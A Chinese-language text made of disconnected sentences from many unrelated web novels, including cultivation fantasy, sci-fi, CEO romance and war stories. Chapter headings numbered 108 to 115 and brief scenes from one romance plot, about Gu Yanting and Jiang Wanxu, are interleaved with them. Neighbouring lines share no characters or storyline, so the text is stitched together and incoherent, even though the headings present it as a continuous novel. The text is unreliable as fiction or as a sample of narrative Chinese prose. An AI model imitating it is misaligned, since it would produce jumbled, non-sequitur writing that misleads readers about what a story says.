随手挥动,一道蔚蓝色的光束脱手而出,径直落在不远处的石头上,眨眼间石头冻成冰块,紧跟着一道闪电落下,冰块瞬间炸开一个大豁口。
现在李大宝干出这么丢人的事情,他这个师父的脸上,也多少有些挂不住。
奥兰卡祭司想了很久才给出这一个评价,这位年迈的精灵祭司很少与黑木森林外的人类接触,所以无法像一位影评人一样用华丽的言语来描述那位恶魔杀手。
金石和姚亮纷纷表示同意,反正联邦最需要的空间跃迁引擎已经得到了,他们都想早点把东西送回地球,不愿意多耽搁时间。
大口喘着气,秦明在硬拼项钧时受了比较重的内伤,比墨星沉要好些,此刻斩杀了敌人,第一时间想到了秦月,而那神秘的先天武师直接将秦月从潭中央带了过来,一股柔和的力量涌进体内,秦月立刻就能开口说话了。
而现在,齐玉却是委婉地表示,两条人命其实不是算在一起的,而是分开来算的。
闻言,众人点了点头,而后他们也不再纠结这些,接下来他们继续全力杀怪。
一阵令人心悸的沉默,如果说三天前大家还是怀着一些期望,通知银河系有敌人入侵的消息的话,那么现在,众人的心里只有绝望。
或许是因为脑袋里光脑的缘故,江夏的脑部神经系统变的很不稳定,光脑却依旧在工作着,将收集到的声音信息传递给江夏。
宫殿下方,沧澜道尊以及十几位混沌后期巅峰的长老恭敬的束手而立,在听到林夕的询问道,沧澜连忙点头。
惊慌而逃的众多学生,微微一愣后,看着被钉在地上挣扎的巨蟒,变得欣喜起来。
这么一想,肯定有人煽风点火,或者说鼓动这些家伙前来闹事,当然这些人肯定也是收到了不少好处,不然也不会冒着被拘留的风险来闹事。
刚才出言不逊的家伙是刘栋,绰号绿林刀客,是千刀门的头号高手。
第一卷 第108章 他是她的青梅
白虎此刻真的想哭,但他却不知道,真正让他哭的,却是在买香水的时候。
现在科技树已经种下了,以后究竟会成长到什么样子,他也没有底。
听到这个消息之后,正统皇帝赶紧将驻守在京城郊外的禁军调回到了城内,要依托着坚固的城墙来防守。
“还算有点儿良心。”霍廷声的声音很轻,但是谢榕也听到了,她对着霍廷声抱歉地笑了一下。
其实,上辈子宁王死后,冉婉求到了他面前。那个时候,冉婉的话没有今天直白,但她的暗示,他听懂了,她愿意进他的后宫。
林蓝当然也不全信,不过她还是打电话给顾远,说了夏纤纤愿意放弃一事。
方浩知道怎样才能让这里种植的菌类长得更好,然而并没有那样的条件,很多方面只能凑合着。
“客人来了!客人来了,老板娘,你轻点儿声!”林萌眼睛最尖,他看着阮冬宇进门,连忙轻声对金艳秋说道。
从他怀里摸出空间袋,还不错,上百颗升玄丹,二十多颗地灵丹,比叶妃儿还肥,人怎么处理呢?
一番交涉下来,双方总算互相认识了。这姐弟叫做徐有容、徐广,也是得到了清河先生的邀请,前去碰大运的。
关楚绮伸手轻轻地摸了摸礼服的材质,丝般柔顺的触感,让她有种心旷神怡的舒适。
灵色笑着点头,“没事,你说。”她就知道,虹姐强烈的要送她回家,一定是有话想单独对她讲。
不过,她从来都不是一个会怕的人,死过一次的人,还有什么可怕的?如果对方让她不好过,她一定会加倍还回去。
那模样,仿佛同蓝清儿是熟了多年的老朋友似的,眉眼间看不出丝毫生疏。
“凛少,您不是说把车后备箱的酒帮您拿上来?”‘门’外传来老板讨好的声音。
藏宝图三个字从寂君越的口中说出来,顿时让林江洛一愣,她想到刚才两人的谈话,想必是寂沧澜已经对藏宝图有了消息。
苏青璇对方昊天实力是很了解的,刚才的判断她自觉得样样都考虑在内。
“因为主人给了我一份第六界语言记忆,也就是你所说的汉语。”冰璇回答道。
“既然我说的你已经不听,那么,从现在开始,我们不妨像个男人一样公平竞争!”夜森的目光紧紧盯着夜凛,一扬下巴开口说道。
林阳这就是从心里面开始改变了,她不再是那个见钱眼开,翻脸无情的林阳,现在的他,总给人一种温暖的感觉。
“想杀你就杀吧,我是不会屈服的!”傅君婥轻咬红唇,昂着头说道。
温阮闻言。回过头看着元稷,方才眼眸里看到黛青的那一丝光亮已经转瞬而逝。
家族是从久远以前传承下来的,可以说称得上是历史悠久的黑手党家族,其家族的财力在俄罗斯黑手党中可以说是数一数二的存在。
无法主动参与欧尼们之间战争的忙内徐贤就此捡了大漏,直到如今。
可此时她蜷缩在地上,身子颤抖着,嘴里发出的声音竟是那么悲惨。
那丫头手上力道极大,林婉儿吃痛皱眉,想抽回手,手腕却在那丫头手中纹丝不动。
就跟当初的尸毗老人一样,在发现沈浪的实力非比寻常之后,这些魔道强者的态度也有所转变。
盛暖阳看的通透,她不是奔着这东西,而是知道,倘若一个真心悔悟的人,他的能力远远超过现在。
回去的路上,盛暖阳沉闷的做在车尾,一句话都没说,也不想多说,满心满脑子都是那个矿工。
而此刻,望着眼前的这一幕,唐宁则早已经是吓得目瞪口呆,说不出一句话来。
看着从会议室陆续出去的人,大门关上的一瞬间,苏伶歌重重地吐出一口气,身体顿时倒在了座椅里。
这一点,无论是走到哪里,无论是穿着什么衣服,都是无法所掩盖的。
所以慕秋狄此刻的神情十分的复杂,眸珠也转个不停,眉宇紧蹙,却最终对着西林铭綦抿了抿唇冷哼了一声,便不再多言了。
他已经踏上了修道之路,也得罪了不少人,若想保护好身边的人,便只能够使自身的力量,不断的变得强大。
“刚才的事情,真的要特别的谢谢你。但照顾陌生的事情,还是让我来吧。只我我不死,就不会有人能够伤到她!”独孤保证道,更多的是向陌生,也向自己。
“江城哥,如果我做不到,我会跟姐姐一起走!”这个世上的眷恋太少,黄泉路上,他们一家团聚。昔日美好的温暖时光,也许孤独而冰冷的苏伶歌,才能觉得解脱。
风雨苦笑了一声,随后擦了擦自己额头上的汗水,自己的实力比起徐皇来说,还差那么一筹,如果自己和姜维对战,不出几分钟,自己绝对落败。
第一卷 第109章 顾总的醋坛子翻了
眼见王诗语跟着那些人走了,浩白也跟了上去,我想看看那妖兽究竟是怎么一回事。
话音一落,蓝翊泽突然俯下身,双唇狠狠的吮上她的双唇,发出好大一声响。
这也是他特地宁愿飞回来炎龙域再入冥域,而不是直接浪费力量直接回来冥域的原因。
光幕发出惊天动地的反弹,想要将陈奇弹开,就是华天君也是一脸的难以置信,本能的认为陈奇有些托大,自找死路。
“不必多礼。”萧逸轻声说着,但见三人脸色不悦,心头猛地一突。
“是!定不负陛下所望。”墨子伯的语气中亦有欣然,咏灵却听的有些云里雾里,北辰昊昍究竟是打算如何应对呢?
当日里,那个男人曾经摸着她的脸,一脸坚定地告诉苏伶歌,他压根就不相信赫连淳对苏伶歌的爱。
然后雅尔迪姆亲自来到场边,大声呼喊李良,即使还有3分钟半场结束,他也让李良立即直接向裁判申请下场治疗。
“好了,好了,和你开玩笑呢,我知道他不会是你的儿子。”这个时候,剑长胜笑了笑说道,明显就是在和庞风开玩笑。
她转身想走,没走几步,身体却被拉扯着,硬生生地撞进了一个男人的怀里。他用力牵制,她便用力挣扎,谁也不肯放松半分。
正在柳三刀疑惑之时,一颗子弹穿过密集的雨滴,击碎空气的阻力,钻进了他的头颅之中。这一枪计算地十分精准,任何血肉之躯受此一击都无活命的可能。
“少废话,告诉我,往哪个方向撤退?”孟凡已经听不下去,他关心的是如何离开半机械人的追踪。
不仅是他,其身后的那几名天魔宗长老亦是满脸的不可思议,不敢相信这一切乃是真的。
邢杀尘不知道萧麟当初是不是通过这种方式构建风火雷电之间的联系的。但是如今,他找到了这样一条也能够构建元素之间联系的道路,不仅限于风火雷电,而是所有彼此有联系的元素。
眼看那只脚就要落在屁股上,常笑眼睛闭在心里做承接痛苦的准备,等了很久却迟迟不到,他耳里只听到一声闷哼声。
和菊花他们扯淡的正高兴呢,另一个qq响起了提示声,班主任赵菱的头像不断闪烁着。
他一直都以为这只存在和电影里面的情节,却没想到,三叔会是被下降者的其中一个。
常笑心疼尹伊熬夜加班,他想到尹伊还没吃,就去楼下的川菜馆给尹伊打包外卖。
林雨麦懒得和这二货解释,如果连这都不知道,那就和审判者白混了。
“说得好,只要人活着,一切都有希望。”周天子虽然没有孟凡那样的经历,但留军队执行任务期间,也早已经是看惯了生死,所以坦然道。
这句话直接让顾远山脸色难看了许多,他原本想发作,但是想到自己的目的,忍耐了下来。
“你们两个随便转转!”进入徐府以后,徐子方对苏辰和向素儿说道,然后带着徐夫人和向天明,向内宅走去。
顾泠听见司祈川的话,这才松懈下来,药液侵袭的效果上来,顾泠再也坚持不住晕过去了。
这些异族的身子都很高大,都不是普通人的存在,平均身高都在两米五左右,怪不得这里的城墙这么高,要是只有几米高的话,那这些异族很轻松的就可以进来了。
心口上扎刀子的感觉,她已经真真切切的体验过了,不过扎刀子的人不是他。
“爸,你这是在做什么?”一只手抓住了顾远山向下扬的巴掌,说话的人声音很成熟,他声音中带着些许不认同,如今高大的身子矗立在顾泠的身边,成功的挡住了顾远山接下来的一系列动作。
那些人退下去之后,宽敞的大厅萧家只剩下萧战还有萧炎和萧薰儿在,纳兰嫣然这边的倒是没离开,纳兰嫣然也没让他们离开。
慕丝音这话一出,向秋瓷那边当即没了音,似乎···没想到冷九辰就要订婚了。
目前,他还没有搞明白时北域体内的蛊性到底是怎么回事,所以,还不能让岳一如距离太远。
不知肖卫国,即便是吴俊都是傻傻是望着钱老。因为刚刚钱老给出来的检查结果,太过震惊了。
一个穿戴战斗骨骼的士兵至少可以跳跃十米高度,仿佛身下不是人腿而是装了跳蚤腿,仿生四肢可以让他们攀登险峻的建筑和地形时如履平地,拥有超人般的力量,轻易抬起两吨重的物体。
他们排成七八个战阵,罗列在虚空之中。每一个气息肃杀,浑身真元流转,赫然都是天宗级别。
本座对其品行武功一直严加督导,且又对其观察日久,确信其足可担当大任,故而才决定以教主之位传之。
本来最强人物郭威,超能辐射数值是十三万。他的武道层次是巅峰境界,超越巅峰之后就是这样的数值,在某种意义上,这已经算是普通人的极限强度了。
而在李老都同意后,那三位医王也是接连答应他的请求,愿意到大学和医院中帮忙。
在他这番耀武扬威的话还未说完之际,便已有两人从座位上站起身,低着头冲了出去。
第一卷 第110章 咎由自取
大概傍晚六点种左右,房门的门锁发生了响动,那扇门随时会被开启。
盐帮在塞外经营多年,一些秘密的据点损失掉还可以慢慢补救,可是跟当地头领的关系都是多年培养起来的,一旦毁掉,这种损失可能就没法估量了。
这句话用的是肯定句,当然,事实也的确如此,从方才白雪自己和江城的对话当中判断出这件事并不太困难。只是白雪有些不明白,为什么肖戈言要对自己陈述这个非常明确的事实。
龚玺似乎也没有想到白雪居然会答应自己的请求,连忙点点头,表示自己要陪白雪一起,白雪可没有去个卫生间还非要约别人一起的习惯,尤其当对方还是一个跟自己并不算多么相熟的人的时候,就更是如此了。
他的身体猛然一震,胸口上被一股突如其来的力气推来,身体不由自主地向后倒退几步,等关轩赶忙睁开眼睛时,映入视线的却是……大街中的墙壁。
兰太太心疼归心疼,这会儿却跟兰成杰站在统一战线。这个孩子是在娇惯的不成样子,连爹娘的话都不听,将来还得了?要是再这么惯下去,说不定就像卫元熙似的,抛头露面净做些出格的事儿。
况且车旁有人专门给他牵着那匹棕色的御马还有一匹纯白色的,预备他想骑马的时候好用。
李志鹏刚想说什么,忽然笼罩在他身上的杀气又浓烈了几分,让他心胆俱寒。
慕容复丝毫没有停留,径直从二人中间穿了过去,一直到过了关卡,最终消失在山道上。
至今为止,哪怕是最新的医疗科技手段,也无法解释那些神秘的现象。
须知练功久处必有禅,气机由微而着,凡息停,真息现,玄关窃开及玄牝之门立等等诸种真机及境界,均须久坐才生。坐不终局,必致练功半途而废。
一万年后,伊利丹终于重获自由。但他并没有踏上赎罪之路,而是通过魔能变成了一只恶魔,一只奋力于摧毁空间的恶魔。
这种神通不是一般人能够拥有的神通法术,那是召唤之法,直接从外魔世界召唤魔物,这样的召唤,非常之可怕,更不知道为什么,在这第八层能够召唤外面的混沌魔神。
赵浮生其实没太关注娱乐圈这边的事情,柳燕为那个医生发声的事情,他还是吃饭的时候,偶然间听于飞鸿提起的。
此刻的杨阳,也不得不承认感觉自己被压制着,即使一直以来都十分的强。
他们只是会被复活成亡灵来继续他们的残忍工作。因此少数死亡骑士是亡灵并且具有着类似僵尸和骷髅那样腐烂的皮肤和外露的骨头。
风火雷利箭,迅雷不及掩耳之势,撞向了两道紫光利箭,以向弓穹,迁翼,月黛三人的合击起来的实力,紫光利箭完全没有任何可反抗的作用,你的力量会比太阳还要强大?肯定不会吧?
赛场上几乎所有的人都回到了看台上,密密麻麻的人在对他指责谩骂,甚至还有人在看台上唾弃。
东方语康好歹都是帝王级的人物,因此要考虑周全,然而他作为院长级人物,依然要考虑周全,承担更多的东西。
在宋金进入汴京城后,尽管空气中海带着浓浓的血腥味,但朱仙镇又恢复了往日的静逸,一轮残阳斜挂在西天的山头,阳光如火,似要在黑夜来临之前燃烧尽这个世界的一切罪孽。
尤一天刚刚躲过强雷的攻势,魔法风火轮出现了一个瞬间的停顿。此时眼睛虽然有看到心凌郡主的脑电波上动作,但是想要躲却是有心无力。无奈之下,尤一天只得以60万波频的脑电波攻出,瞬间抢了三个大火球的控制权。
凌乱的吼叫声越加清晰,有时像狮吼,有时像虎啸,有时更像是夜枭厉笑。唯独听不见正常的人语。
这一刻,无论是庄万古还是九叶。只要被这万土术射到,都无所遁形。
“那咱下边要生产什么呢?虽然咱们地业务员也联系了一些生产项目,可我心里还是不很有底呢”?罗然也是拄惯了萧寒这根拐杖了,但能从萧寒这里讨招数,便要挤一挤。
席撒只感到可怕。他知道纯种血腥妖精没有味觉,故而不挑食,吸食血液并非入腹,而是自然转化成身体所需的煞气能量,能刹那间消化一头血爪龙全部血液的血妖精,他从不敢想过,撒拉能否如此他不知道,因为不曾见过。
待得比干走后,李松瞪了一眼云霄,显然是责怪云霄方才的冲动了。
一旦信心崩溃,那即便人类还拥有数百万的大军,却也没有多少可能再挽回溃败的结果。
许仙听到邹立二字略一迟疑,正准备再次推出,只听远远传来一声大吼。
话说那天南不死火山之下,先天壬水之精扶桑木道人正与那洪荒飞禽至尊凤凰感慨那不能化形之苦。
于是,第二天早上,在利威尔和韩吉再次进入房间时,萨内斯开口了。
本以为挟大胜之师再回蕲春,孔彦舟部必然惶惶不可终日,肯定会想方设法突围逃命。却不想,蕲春军民还是不肯走。
人人戴着口罩谨言慎行,看向别人的目光中充斥着怀疑的意味,这种情形李灵一之前在1区见过,没想到就连10区也变成这样了。
而这些四、五阶灵兽与攻击矿区的灵兽是一样的,由于灵兽加入了战局,于是便斗得是难分难解了,由于本宗弟子众多,在众人夹攻之下,他们便慢慢地出现了败势,最终还是本宗弟子就略胜一筹了。
也许是近处,又像是远方,一声凄厉至极的哀嚎震彻耳膜,黑暗中似乎突然出现了千百只冰冷巨大的手掌,从四面八方伸过来挤压揉捏着我的身体,真实而剧烈的痛处顺着仿佛树木根系的血脉延伸至脆弱的心脏。
第一卷 第111章 顾总的占有欲
一旦从公司层面考虑涨工资,就是公司全部员工普涨,那么就无意中增加了不少的成本预算,所以万不得已公司不会考虑普调工资。
听到这话,贾如哪里还顾得上不好意思,当下神色也正经了起来。
此刻的他,沉浸在无尽的美好之中。这些日子压制的所有情绪在这一刻尽情释放。
但眼里的红血丝还是出卖了林舒闵在知道真相之后,没有办法入睡。
“生时作恶就要想到如今后果。天理昭昭岂是你一个肉体凡胎的凡人可以逃脱的。”崔判官说道。
然而,正所谓在你最困难的时候,往往上天就会给你开个玩笑,只是这个玩笑,有的人会是逢凶化吉,而有的人,则是火上浇油。
“你想多了,因为我知道你为何物,我的手下对付你还是很难的。行了废话少说吧,开始吧,打完这场仗我还赶着回家睡觉呢。”我说道。
与此同时,娜莎也进入到了虚拟机,开始对猎人的所有资料进行搜寻调查。
张景难以置信的去点了点能还有剩票的场次,凌晨是彻底没票了,中午也没了,只有早上和下午还有剩,可基本都是只有一些边边角角的位置,观影体验极差的那种。
“我去!牛角还有这功能!”云墨明只能掏出降魔杵,与牛魔王展开近战。
但是如此的着装不适合他的年龄,使得他时刻都透露出特工、保镖的气质。
也怪胡三酒量太差,名气太高。刚上酒楼,就有人争抢着要给他付酒钱,桌上敬酒之人更是络绎不绝。
在反复确认银色能量的确被顺利融合后,她才是满意的放下了金色能量的持续加热,而金色能量终于是心满意足的停止了翻腾的状态。
我没好气的说我乐意,并且告诉它,清欢是它哥哥,它排老二,气的那大狸猫差点都上嘴咬我了。
可系统不管这些,只听“嗖——”的一声,云墨明就消失在一道白光之中。
狗头人面兽的灵魂哈哈大笑,看起来,马上就要挤进七娃的身体当中,占据七娃的身体了。
来到城门外,唐三藏也没瞧见云墨明,只能自己跳下凤辇,奔着白马冲过去。
冷冷森见武力值人形在他的侧身边反复挣扎无果,他终于是满意的笑了笑。
郗子晴点点头,鼻涕又流了下来,扶摇下意识地把一块新帕子伸了过去。
只见那粽子丹田处的羽毛匕,此时突然爆射而出,而那匕之处猛然一股雾气从粽子体内喷了出来,前者在怒号了几声之后竟然坐了下去,丝毫没有之前的盛气。
“放心吧,月儿不会追究的,那个江湖郎中我也替你了结了,今后你万万不能再生事了,就待在这百花院好好反省吧。”张氏说出她的决定,其实就是变相的软禁了秦姨娘。
他真的是去谢罪?而不是去告诉禹家之人,这就是得罪二皇子殿下的下场?
“我看鬼子就是为了打通公平线,从缅甸运送士兵来前线,这可是对我们晋西北构成巨大的威胁呀!”政委道。
这座大地宫,简直就是山内的地下庄园,除了地宫大殿,后方还有类似于三进院的三层住所,足可容纳数百人居住。
凭什么男人做完之后就可以马上下床生龙活虎一样,可她……她现在只要腿上稍微一用力,就觉得酸麻不已,还带着些微刺疼。
“所以,你们都不要了是吧,那就给阿瑞斯与汉克斯兑换吧!”方云点点头,两个MT如果真的穿上这种套装,估计也将强势的无以复加,至少面对荣耀三贱客的那个金刚,也不会落入下风。
我二话不说上去就是一个拥抱。老朋友了,他能保持得住,我可难掩激动。
日军轰炸机来回盘旋,不断的往根据地倾泻炸药,原本完好的村子,顿时被炸成了废墟,罗斯院长牺牲了,医院被炸塌了。刺耳的爆炸声夹杂着瓦片的碎裂声,一下一下的刺痛了战士们的心,也包括吴肥熊。
没有了君莫惜在,顿时立即有不少人身形闪烁,踏足这一座空旷的石柱峰上,目光俯瞰下方的堕天魔域。
这手的血腥味好像更浓,宋妧真的忍不住,把手推开,趴在榻沿上就开始吐了起来。
宴会不过就是歌舞,江清月有些无聊,歌舞年年看,倒是有些腻了。
众人不由一阵惊呼,离他最近的白家辉伸手去抓,也只抓住了空气。
承蒙阿姑疼爱近三年,卫清晏怎会因怕被连累,就不让阿姑去找自己的孩子。
她想不通,掌柜的明明是第一次去云藏宝殿,为何却知道那扇石门后有条通道,驾轻就熟的未卜先知一般。
江阴却没有心思关心别人的战斗,他正在跟希特拉和达拉姆拼命。
毕竟,弟子之中没有一人会有元神之力,偷了也没啥用,第二,弟子根本就到不了这片区域,那些个数量庞大的霸主级别妖兽就给防得死死的。
第一次陆君澈倒是不会说什么,可这三番五次,倒是真的让陆君澈生气了。
第一卷 第112章 我回来了
顾彦廷把程宇气走后,转头就让林舟去办出院手续。
江晚絮拗不过他。
主要是这男人装起可怜来,简直是一把好手。
“晚晚,医院消毒水味太重,我头疼。”
“晚晚,这里的床太硬,我腰疼。”
“晚晚……”
江晚絮忍无可忍,一巴掌拍在他还要往自己身上蹭的脑袋上。
“闭嘴,出院。”
而我这一趟过来,就是想问问,这降雷符和我自己本身,为什么会出现一开始的那种情况,但凡是降雷符使用的太多,我就会头昏脑涨,更甚者,不省人事。
轻道一声,而后方木从里屋出来,直接将手中的符纸递给了我,不过接过符纸后,我却是摇了摇头。符纸中所蕴涵的灵力应该已经在先前方木那一击中消失殆尽,这个时候已经失去了最简单的作用。
江意一眼就注意到张厂长本来应该背着,此刻却紧张地放在身侧手按着,明明想要表现得不在意却让人一眼就看出来的包。
终究主仆有别,尊卑难抗,平素再嬉笑玩闹,性子一来,臂一扬,掌一挥,一个巴掌呼啸而来。
“呯”的一声,一支无情的利剑刺穿赵乾坤的心头,他的心在滴血,身体在颤抖,末日、地狱、毁灭、酷刑、惨无人道,无数悲戚恐怖的画面从眼前飞过,他虚脱了,他完全退缩了,甚至刹那间对赌产生了根本性的排斥。
“呼呼呼……”想要烧化这些来自拉穆尔深渊的石头可没有那么简略,战场上所有人都看到,龙炎由于被挡住,所以就似乎水流一般的凌空飞溅到各处,但再也无法要挟到螃蟹岩兽身下的魔法堕落者了。
我听着石伟的声音转过了头,打量着石伟身前的男人,这个男人大概有1米75左右,穿着很普通,衣服有些陈旧,她穿着一件蓝色的T恤,下身是一个黑色的裤子,头发乱糟糟的,有些油腻,好像长时间没有打理一样。
他们现在所看到的剧情到现在这个节点上,似乎并没有引起他们有什么其他不耐的情绪。
也就是说,王媛媛也没往真实的方面想,因为方远将时间加速和剧情还有镜头,弄得和电影一样,根本不像直播。
李清和芦玉凌雨朝云的孩子中,有许多在秘境中长大成人然后到泰世界生活的,但也有不少,不想出秘境的,李清倒也没有勉强。
宋念的注意力更集中了,觉得头上渗出一层薄汗,又觉得这层汗顺着滴到了耳朵上,以至于他的听力都有些模糊不清。
弗恩叔叔则是脱掉了他心爱的黑西装,只是穿着解开两个扣子的白衬衣,兴高采烈地往嘴里塞着东西。
他不想为了多袭击一些目标,多收割一些经验值、灵魂结晶,就将自己老本置于危险之中。
春困秋乏夏打盹,好巧不巧地,宋筠正处于春困的时候,再加上前一晚睡不着,所以她一边听课一边不住地打哈欠,就被卢夫子叫起来训了。
夺取潼城之时,温故占个主动,所以做起来游刃有余。如今这事,她没有先机,安排出来虽然妥当,但也颇费了一番心力。
宋筠太怀念这个味道了,如果不是为了可持续发展,之前几年她就偷摸在被窝里把它啃光了。
蒲总没有惊动正在拍摄的众人,自己躲在一个角落里, 看着吴马在拍摄。
第一卷 第113章 今天就走
外公有些浑浊的眼睛,在顾彦廷身上打量了许久。
这小伙子,长得真俊。
一身贵气,看着就不像普通人。
但眼神正,看絮絮的时候,眼睛里是有光的。
活了一辈子,这点看人的眼力见还是有的。
比当年那个姓叶的小子强多了。
“好,好孩子。”
外公颤巍巍的想要去扶顾彦廷。
顾彦廷连忙上前一步,反手扶住了老人。
暑假回家,大将在村里待了几天,感觉特别无聊,就忐忑地对父亲提出,想去他那里玩几天。至少那里有网吧!父亲竟然破天荒地答应了。
关珊珊有些不悦的看着眼前突如其来的男人,男人黑着一张脸,原本英俊不凡的脸庞竟有些狰狞。
峰回路转,原先气势汹汹的一方,降低了身份,所有的路人看着这个场景,都有些莫名。
“里面加了精盐呢!”随着精盐开始在蜀地流广开来,大家也不陌生,有些鼻子灵敏的家伙已经闻出了这陶罐中的食物是加了精盐的,加上几天没吃饱饭,一个个看着城外架起来的一排排陶罐,眼睛都红了。
不过这一天李春终于笑了,他接到一个来自切尔西俱乐部的电话,对方要求订购一百箱羊羊‘清爽型’运动饮料。
虽然有些莽撞,但马超又不是傻子,无论按照辈分还是双方的官职来讲,都该是韩遂为主导,马超辅之,但韩遂却如此轻易地让出了主导权,这让马超很意外。
就在这个时候,吉风城内突然出现了一队人马,那些人全都看着北天堡主与教皇争斗得不可开交,仿佛有一种看戏的意思。
“什么味的?”安若不禁喃喃了一句,这才把视线下移,那个时候光是看着糖果的形状而忘记了看口味了。
只是现在除了风的“飒飒”声,她什么都没听到,更别说是她的手机铃声了。
他将此物洗涤后发现这竟是一团极为纤细的丝线。较一般的丝线结实很多,但用力之下也能扯断,但只将两头断口用手一捻,便能够再度变成一根,丝毫没有断过的痕迹。他曾将此物抻开,细量之下足有百丈多长。
一旁的王炳见她这模样,急忙伸手想拉住她,但春娟就像感觉不到一般,满脸得意地朝清云走去。
“幸好这只是个浅水湖,漩涡并不深,只是把我们卷到了另一个树林里,既然我们都大难不死。我想我有必要告诉你,苏忆晚你听好了,我心悦你。”晏澜苍说道。
一旁的李青梅见清云打了孟菲菲一耳光,顿时怒火冲天,朝着清云冲了过来,一把将她掀开,甩手就是一耳光。
把冰箱关上,转身往外走去,黎叔和晏枫连忙跟在他的身后,直奔晏宅的后院,隐约看到不远处有人说话。
克拉肯终于意识到了这些他眼中的食物并不好惹,赶紧下沉并挥动自己的八个爪子,去抽打海豚,但是它庞大的体型让它挥动触手的速度根本比不上海豚游泳的速度,完全打不中。
“谢谢少爷啦!”这些工人很高兴,才上班,公司就宴请大家,说明公司很在乎大家。
“不过你母亲婚后,或许很多消息被隔绝了,并不知此事。”晏澜苍说道。
取得碾压性的胜利的男人单手撑地起身,带着挂在他身上的沈汀年往殿内大床而去,显然是不打算就此休战了。
沈云澈心中惊憾无比,婧儿这种想法是从何而来?我知道婧儿不同常人,可也没有听过如此惊世骇俗的话,可自己却无从反驳。
第一卷 第114章 你不配做顾氏的总裁!
回京市的路上,顾彦廷简直把“二十四孝孙女婿”演绎到了极致。
端茶倒水,捏肩捶背。
甚至还帮外公剥了一整头大蒜,说是要就着飞机餐吃。
看着那个平时高高在上的男人,此刻满手大蒜味,还一脸求表扬的表情。
江晚絮的心,彻底软成了一滩水。
如果这不是爱,那什么是爱呢?
飞机在云层中穿梭。
卫国公府知道徐灵儿去世,还是伍司棋说的呢,这个结果,恐怕所有人都没有想到。
这次到冰城,凌云智心里也一肚子火,对方口口声声老凌喊个不停,该宰你时丝毫不手软。
此时斥候百户已经把那个院子给团团围住了,周围的百姓也接到了警告,不许喊叫。
一个上午的庭审阶段结束,蹲守在首都二中院大门的国内外记者们看到代理律师出来纷纷围了上去。
柳子珩这才明白高琳华为什么会问出这样的话来,有些想笑,却是笑不出来,因为心疼。
章成龙和章成虎两兄弟气得浑身发抖,一股邪火憋在心里没地方发。
这武宗遗诏已经发了出去,大家总不能再变卦更改吧,也犯不着为了这个事情把事情闹的太僵。
凌珊说道:“姐姐,咱们也过去看看吧?”说话时,取下面具,提在手里,这东西戴脸上,着实不舒服,反正里头还有一层双保险的面纱在,也不怕被广场上鬼鬼祟祟的几人趁机看去面目。
“回陛下,贫僧唐三藏,正是从东土大唐而来的。”唐三藏双手合十应道,也是大量了一下这国王,看起来大概五十来岁的年纪,头发半白,国字脸长相颇为威严。
“那什么……师父,我觉得晚静的提议就挺好的,还是让大师姐变成鹿吧。”朱恬芃立马就怂了,看着唐三藏说道。
别说回想酒水的滋味了,单是提起“酒”这个名称,好多兽人都会口水直流了。
这主要是因为在兀思奇被夺舍之前,她就怀有其血脉后代,与他之前有一股强烈的感应联系。
那只被癞蛤蟆吐出的鞋子还是太滑了!而且越安当时也顾不得去擦。
说到了这里,只见冷风迈步上前,来到了那姚远面前不足五米的位置后盘膝坐下,手一招之下,那星辰黑幕却是再次出现,将二人笼罩在了其中。
易州丢了不可惜,过一段时间再夺回来就是,但是好不容易建立起来的威信就会遭受损失。这一次萧干近万人攻击,死守易州已经没有意义。
如果脑子不好使往中后阵方向逃的,那绝对难逃一死。不仅仅是人族的玩家不会放过这些送到手边上的军功,甚至就连那些依旧在恶魔将军操控下的恶魔军队也不会放过这些临阵脱逃的废物。
相柳儿一怔,着实没有想到迟立竟然起意进山,此行大甘诸将中悍勇之辈良多,但说智勇双全,唯迟立一人可当相柳儿一用,如果迟立进山,这支大甘的虎狼之师自断一臂,委实可惜。
所以管启智现在就是想让自己的影子驻进凌道子的心里,好似埋下一颗种子,有机会它就会生根发芽,茁壮成长,这也是他的大智慧之处。
刘逸飞可是知道,此次更新之后系统可是会在各个系统城市中更新出“荣誉商店”的。
就打着眼神示意圣武士,让他开口为卡曼求情,自己则顺水推舟的允诺了卡曼留在军中的要求。
第一卷 第115章 滚出去
“这里全都是证据!”
顾子源把一叠文件狠狠摔在桌子上。
“这是你在法国调动医疗团队的费用!这是你私人飞机的燃油费!”
“全都是走的公账!”
顾子源觉得自己赢定了,只要坐实了挪用公款的罪名。
顾彦廷不仅要滚出公司,还得去坐牢。
到时候,顾家就是他的天下了!
顾彦廷连看都没看那些文件一眼。
他只是淡淡地扫视了一圈会议室里的众人。
于是李国翰带着七千人的队伍北上离去,他们要折返到汉中,然后向北进入Y平道,二十多天的时限,必须要紧赶紧慢。
在山谷的上方,斜刺着伸出一块悬崖,千米长宽,血红的颜色,犹如鲜血染红。
德克瑞斯的话让贵族们一阵错愕,虽然不甘,却也听从了德克瑞斯的安排,毕竟这只联军的老大,是全程提供钱粮的德克瑞斯。
“在商言商,我赚钱是我自己的钱,凭什么要分你一杯羹?”安柠又是反问了句,态度相当强势。
这些盔甲吸引了几乎所有骑士的眼睛,即便是教堂骑士,也无法挪开半步,鲁鲁修一直想着扩充自己的骑士队伍,但合格的骑士实在是太少,而在收复了兄弟骑士团后,这些准备许久的盔甲,终于有了用武之地。
他握紧了拳头,心头暗暗发誓,要超越所有人,要比他们都更强大。
将悬空孤岛甩在了身后,赵一山速度不减,半个时辰后,四只地阶妖兽也追到了悬空孤岛。
紧跟着,他其中一个黑衣人,拿出了一件通体散发着乳白色光芒的残缺神器。
看着越来越近的老爷子,大嘴随便抱怨了一句后便没有接着多说什么,毕竟也算是过命的交情了,没必要太损人。
不止卓尔凡,赵惊神、裴嘉和、明德和尚等所有有资格问鼎大比第一的人都不由得眼角一跳。
虽然陈征所过之处依然是一片血雨腥风,但由于撞击部位不同的关系,在血雨形成之前陈征的无人机就已经飞远,根本不会吸入飞龙的血液。
然而就在他试图继续探索飞天水螅的意识的时候一种疯狂而恐怖的力量渗入了他的灵魂,仿佛一种警告,这只被捕获的实验体飞天水螅无声无息间化为灰烬,白龙明智地结束了这个研究。
这次孤星寨更是趁着戮心宗发起大战之时趁火打劫,竟直接攻打了戮心宗在青碧海的据点,当然是让人怒不可遏。
那个护卫军一提到太后,伊将所有人的眼神尽收眼底,心中已有了计较。
天空中,那台被飞行种虫人追得上天无路入地无门的维京战机,突然亮起了蓝光。
风怜儿眼眸不知何时又再度紧闭,漂亮的睫毛微微抖动,吐气如兰,让牧天的心一瞬间醉了。
其中的成员包括当年的受害者、受害者亲属以及部分对于那段历史非常不满的“社会精英”,成员总数超过了200多人。
